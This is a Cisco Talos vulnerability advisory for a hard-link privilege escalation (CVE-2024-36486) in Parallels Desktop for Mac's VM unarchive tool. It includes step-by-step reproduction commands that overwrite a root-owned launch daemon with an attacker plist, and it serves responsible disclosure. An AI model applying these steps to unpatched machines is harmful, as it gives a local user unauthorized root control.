Talos Vulnerability Report

TALOS-2024-2126

Parallels Desktop prl_vmarchiver Unarchive Hard Link Privilege Escalation

June 3, 2025
CVE Number

CVE-2024-36486

SUMMARY

A privilege escalation vulnerability exists in the virtual machine archive restoration functionality of Parallels Desktop for Mac version 20.1.1 (55740). When an archived virtual machine is restored, the prl_vmarchiver tool decompresses the file and writes the content back to its original location using root privileges. An attacker can exploit this process by using a hard link to write to an arbitrary file, potentially resulting in privilege escalation.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Parallels Desktop for Mac version 20.1.1 (55740)

PRODUCT URLS

Parallels Desktop for Mac - https://www.parallels.com/products/desktop/

CVSSv3 SCORE

7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-62 - UNIX Hard Link

DETAILS

Parallels Desktop for Mac is an application that provides desktop virtualization, allowing users to run macOS, Windows, or Linux virtual machines on a Mac. It offers tools to create, configure, and manage virtual machines effectively.

prl_disp_service is a Parallels Desktop service that manages all communication between macOS, Parallels Desktop, and virtual machines. This service runs with root privileges.

Parallels Desktop offers the ability to archive and unarchive virtual machines, which can be managed through the GUI or by using the prlctl utility. To archive a virtual machine (VM), use the prlctl command with the archive option as shown below:

prlctl archive VM_NAME

This will compress all files with the extensions .hds, .mem and .dmp within the VM directory.

To unarchive, run the prlctl command with the unarchive option as shown below:

prlctl unarchive VM_NAME

Note that the prlctl utility is executed with lower-privileged user permissions.

Internally, the archiving or unarchiving process is handled by prl_disp_service, which subsequently runs the prl_vmarchiver application on the selected VM directory to compress or decompress files during the archive and unarchive operations, respectively.

A privilege escalation vulnerability exists when an archived virtual machine is unarchived. During this process, prl_disp_service runs prl_vmarchiver, which decompresses the file and writes the data back to its original location.

To exploit this vulnerability, an attacker could replace the original .hds, .mem, or .dmp file with a hard link to a file owned by root. Then, they could substitute the compressed data with a malicious payload. When the unarchive action is executed, the prl_vmarchiver application decompresses the attacker’s payload and writes it to the file linked by the hard link. This would allow the attacker to write to arbitrary files owned by root, potentially enabling privileged actions.

Steps to reproduce:

  1. Choose a virtual machine (VM), such as Debian_12 (1), and navigate to its directory.
  2. Create a hard link to a file owned by root, ensuring that the new hard link has the extension .hds, .mem or .dmp. In this example, a hard link named test.hds is created for the launch daemon com.example.update.plist:

     ln /Library/LaunchDaemons/com.example.update.plist test.hds
    
     % ls -la test.hds
     -rw-r--r--  2 root  wheel  457  5 Dec 12:11 test.hds
    
     % cat test.hds
     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
     <plist version="1.0">
     <dict>
         <key>Label</key>
         <string>com.example.exampleApp</string>
         <key>ProgramArguments</key>
         <array>
             <string>/bin/bash</string>
             <string>-c</string>
             <string>touch /tmp/normal.txt</string>
         </array>
         <key>RunAtLoad</key>
         <true/>
     </dict>
     </plist>
    

    The contents of com.example.update.plist are shown above. This is an example launch daemon that, when loaded, creates the /tmp/normal.txt file.

  3. Next, archive the chosen VM by executing the prlctl command-line utility with the archive option and the name of the selected VM.

     prlctl archive Debian_12\ \(1\)
    
     Virtual machine successfully archived.
    

    Internally, the task to archive Debian_12 (1) is executed by prl_disp_service. To complete the archiving process, it launches the prl_vmarchiver application with the following arguments:

      /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_vmarchiver c /Users/main/Parallels/Debian_12 (1).pvm
    

    Note that the prl_vmarchiver process runs with root privileges.

    The command above will successfully compress any files with the .hds extension, creating a new header file (.hds.header) and storing the compressed data in chunks (hds.chunk0). The contents of the .hds file will be deleted once compression is complete. This can be verified with the following listing command:

     ls -la test*
     -rw-r--r--  2 root  wheel    0  5 Dec 12:15 test.hds
     -rw-r--r--  1 main  staff  280  5 Dec 12:15 test.hds.chunk0
     -rw-r--r--  1 main  staff   40  5 Dec 12:15 test.hds.header
    

    The file is compressed using gzip compression.

     % file test.hds.chunk0
     test.hds.chunk0: gzip compressed data, original size modulo 2^32 457
    
  4. To exploit this vulnerability, we will replace the files test.hds.header and test.hds.chunk0 with data controlled by the attacker. First, we will create a directory and then create a file named test.hds that contains the attacker’s payload, as demonstrated below:

     % mkdir attacker_payload && cd attacker_payload
    
     % cat test.hds
     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
     <plist version="1.0">
     <dict>
         <key>Label</key>
         <string>com.example.attackerApp</string>
         <key>ProgramArguments</key>
         <array>
             <string>/bin/bash</string>
             <string>-c</string>
             <string>touch /tmp/attacked.txt</string>
         </array>
         <key>RunAtLoad</key>
         <true/>
     </dict>
     </plist>
    
    
     % plutil -lint test.hds
     test.hds: OK
    

    When executed as a launch daemon, this payload will create the /tmp/attacked.txt file. Run plutil on the hds file to check if payload is correct ot not.

     ls -la /tmp/attacked.txt
     ls: /tmp/attacked.txt: No such file or directory
    

    Note that the file /tmp/attacked.txt doesn’t exist.

  5. Next, we will compress the attacker_payload directory by executing the prl_vmarchiver command on it, as shown below:

     /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_vmarchiver c attacker_payload
     archiving file 'attacker_payload/test.hds'
     doing split 0
     100%
    

    Here is a listing showing the archive results:

     %  ls -la attacker_payload/test*
     -rw-r--r--  1 main  staff    0  5 Dec 12:17 attacker_payload/test.hds
     -rw-r--r--  1 main  staff  277  5 Dec 12:17 attacker_payload/test.hds.chunk0
     -rw-r--r--  1 main  staff   40  5 Dec 12:17 attacker_payload/test.hds.header
    
  6. Next, replace the archived VM files test.hds.header and test.hds.chunk0 with attacker_payload/test.hds.header and attacker_payload/test.hds.chunk0, respectively.

     % cp ../attacker_payload/test.hds.header test.hds.header
     % cp ../attacker_payload/test.hds.chunk0 test.hds.chunk0
    
  7. Next, unarchive the archived VM by executing the following command:

     prlctl unarchive Debian_12\ \(1\)
    
     Virtual machine successfully unarchived.
    

The prlctl command was executed by a lower-privilege user.

Internally, the task to unarchive Debian_12 (1) is handled by prl_disp_service. To complete the unarchiving process, it runs prl_vmarchiver with the following arguments:

     /Applications/Parallels\ Desktop.app/Contents/MacOS/prl_vmarchiver x /Users/main/Parallels/Debian_12 (1).pvmz

Note that the prl_vmarchiver process runs with root privileges. As a result, it will decompress the chunk file and overwrite our payload onto the hard link test.hds:

    % ls -la test.hds
    -rw-r--r--  2 root  wheel  451  5 Dec 12:20 test.hds

    % ls -la /Library/LaunchDaemons/com.example.update.plist
    -rw-r--r--  2 root  wheel  451  5 Dec 12:20 /Library/LaunchDaemons/com.example.update.plist

     cat /Library/LaunchDaemons/com.example.update.plist
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
        <key>Label</key>
        <string>com.example.attackerApp</string>
        <key>ProgramArguments</key>
        <array>
            <string>/bin/bash</string>
            <string>-c</string>
            <string>touch /tmp/attacked.txt</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
    </dict>
    </plist>

Now, the com.example.update.plist file contains the attacker’s payload. Once this daemon is loaded, the /tmp/attacked.txt file will be created and owned by the root user.

The daemon can be reloaded by restarting the system. Here is the output before the restart:

 ls -la /tmp/attacked.txt
ls: /tmp/attacked.txt: No such file or directory

After the system restart, the attacker’s launch daemon is loaded, resulting in the creation of the /tmp/attacked.txt file.

        ls -la /tmp/attacked.txt
        -rw-r--r--  1 root  wheel  0  5 Dec 13:46 /tmp/attacked.txt

By exploiting this vulnerability, a low-privilege user can potentially overwrite arbitrary files and escalate their privileges to those of a root user.

TIMELINE

2024-12-18 - Vendor Disclosure
2025-04-17 - Vendor Patch Release
2025-06-03 - Public Release

Credit

Discovered by KPC of Cisco Talos.